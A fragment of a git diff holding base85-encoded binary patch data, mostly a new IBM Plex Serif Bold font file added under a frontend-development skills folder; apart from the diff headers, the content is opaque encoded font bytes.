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 O8O^Eu)*9E2^Zx)#YBXm6 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Bold.ttf b/skills/frontend-dev/canvas-fonts/IBMPlexSerif-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..78f6e500de7faaec05bbbc60ccfc81083440b1c8 GIT binary patch literal 161000 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 